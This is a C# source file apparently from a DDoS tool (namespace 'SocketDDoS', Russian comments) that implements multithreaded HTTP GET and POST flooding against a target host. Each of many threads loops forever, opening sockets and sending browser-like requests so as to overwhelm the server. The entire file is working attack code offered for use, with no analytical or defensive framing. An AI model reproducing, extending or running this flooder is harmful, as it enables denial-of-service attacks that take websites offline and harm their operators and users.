using System;
using System.Collections.Generic;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Web;
namespace SocketDDoS
{
class sHTTPFlood
{
public static string host = string.Empty;
public static string postData = string.Empty;
public static bool isSlowloris = false;
private static int iThreads = Environment.ProcessorCount * 20;
private static ThreadStart[] tFloodingJob;
private static Thread[] gFloodingThread;
private static Thread[] pFloodingThread;
private static HTTPThreadGET[] gRequestClass;
private static HTTPThreadPOST[] pRequestClass;
// Начало GET Flood
public static void StartHTTPFloodGET()
{
gFloodingThread = new Thread[iThreads];
tFloodingJob = new ThreadStart[iThreads];
gRequestClass = new HTTPThreadGET[iThreads];
for (int i = 0; i < iThreads; i++)
{
gRequestClass[i] = new HTTPThreadGET(host, isSlowloris);
tFloodingJob[i] = new ThreadStart(gRequestClass[i].ProcessFlood);
gFloodingThread[i] = new Thread(tFloodingJob[i]);
gFloodingThread[i].Start();
}
}
// -------------------------------------------------------------------------------------------------
// Остоновка GET Флуда
public static void StopHTTPFloodGET()
{
for (int i = 0; i < iThreads; i++)
{
try
{
gFloodingThread[i].Abort();
gFloodingThread[i].Join();
}catch { }
}
}
// -------------------------------------------------------------------------------------------------
public static void StartHTTPFloodPOST()
{
pFloodingThread = new Thread[iThreads];
tFloodingJob = new ThreadStart[iThreads];
pRequestClass = new HTTPThreadPOST[iThreads];
for (int i = 0; i < iThreads; i++)
{
pRequestClass[i] = new HTTPThreadPOST(host, postData, isSlowloris);
tFloodingJob[i] = new ThreadStart(pRequestClass[i].ProcessFlood);
pFloodingThread[i] = new Thread(tFloodingJob[i]);
pFloodingThread[i].Start();
}
}
// Остоновка GET Флуда
public static void StopHTTPFloodPOST()
{
for (int i = 0; i < iThreads; i++)
{
try
{
pFloodingThread[i].Abort();
pFloodingThread[i].Join();
}
catch { }
}
}
// -------------------------------------------------------------------------------------------------
// HTTP GET REQUSET
private class HTTPThreadGET
{
const string NewLine = "\r\n";
private string hostAdr = string.Empty;
private string PathAndQuery = string.Empty;
private IPAddress hostIP;
private int hostPort = 80;
private IPEndPoint ipPoint_0;
private byte[] buf;
private int socketConnect = 0;
private bool isSlowloris = false;
public HTTPThreadGET(string host, bool IsSlowloris)
{
this.isSlowloris = IsSlowloris;
// Подготовка данных для создания подключения
if (!host.StartsWith("http://") && !host.StartsWith("https://"))
{
host = "http://" + host;
}
Uri parseUri = new Uri(host);
hostAdr = parseUri.Host;
PathAndQuery = parseUri.PathAndQuery;
hostPort = 80;
hostIP = Dns.GetHostEntry(hostAdr).AddressList[0];
ipPoint_0 = new IPEndPoint(hostIP, hostPort);
// Подготовка пакета к отправки
StringBuilder strb = new StringBuilder();
strb.Append("GET " + PathAndQuery + " HTTP/1.1" + NewLine);
strb.Append("Host: " + hostAdr + NewLine);
strb.Append("Connection: keep-alive" + NewLine);
strb.Append("Pragma: no-cache" + NewLine);
strb.Append("Cache-Control: no-cache" + NewLine);
strb.Append("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" + NewLine);
strb.Append("User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7" + NewLine);
strb.Append(NewLine);
buf = Encoding.ASCII.GetBytes(strb.ToString());
}
// Создания подключения
public void ProcessFlood()
{
while (true)
{
try
{
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.DontLinger, true);
socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReceiveTimeout, 0);
socket.Connect(ipPoint_0);
socket.Blocking = true;
socket.Send(buf, SocketFlags.None);
socket.Close();
}
catch{}
Thread.Sleep(0x23);
if (socketConnect == 50000)
{
socketConnect = 0;
GC.Collect();
}
}
}
}
// -------------------------------------------------------------------------------------------------
// HTTP POST REQUSET
private class HTTPThreadPOST
{
const string NewLine = "\r\n";
private string hostAdr = string.Empty;
private string PathAndQuery = string.Empty;
private IPAddress hostIP;
private int hostPort = 80;
private IPEndPoint ipPoint_0;
private byte[] buf;
private int socketConnect = 0;
private string PostData;
private bool isSlowloris = false;
public HTTPThreadPOST(string host, string postData, bool cIsSlowloris)
{
this.isSlowloris = cIsSlowloris;
this.PostData = postData;
// Подготовка данных для создания подключения
if (!host.StartsWith("http://") && !host.StartsWith("https://"))
{
host = "http://" + host;
}
Uri parseUri = new Uri(host);
hostAdr = parseUri.Host;
PathAndQuery = parseUri.PathAndQuery;
hostPort = parseUri.Port;
hostIP = Dns.GetHostEntry(hostAdr).AddressList[0];
ipPoint_0 = new IPEndPoint(hostIP, hostPort);
// Подготовка пакета к отправки
StringBuilder strb = new StringBuilder();
strb.Append("POST " + PathAndQuery + " HTTP/1.1" + NewLine);
strb.Append("Host: " + hostAdr + NewLine);
strb.Append("Connection: keep-alive" + NewLine);
strb.Append("Content-Length: " + Encoding.UTF8.GetByteCount(postData).ToString() + NewLine);
strb.Append("Pragma: no-cache" + NewLine);
strb.Append("Cache-Control: no-cache" + NewLine);
strb.Append("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" + NewLine);
strb.Append("Origin: http://" + hostAdr + NewLine);
strb.Append("User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7" + NewLine);
strb.Append("Content-Type: application/x-www-form-urlencoded" + NewLine);
strb.Append("Referer: http://" + hostAdr + NewLine);
strb.Append(NewLine);
// POST данные
strb.Append(postData + NewLine);
strb.Append(NewLine);
buf = Encoding.ASCII.GetBytes(strb.ToString());
}
// Создания подключения
public void ProcessFlood()
{
while (true)
{
try
{
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.DontLinger, true);
socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReceiveTimeout, 0);
socket.Connect(ipPoint_0);
socket.Blocking = true;
socket.Send(buf, buf.Length, 0);
socket.Close();
}
catch { }
Thread.Sleep(0x23);
if (socketConnect == 50000)
{
socketConnect = 0;
GC.Collect();
}
}
}
}
// -------------------------------------------------------------------------------------------------
}
}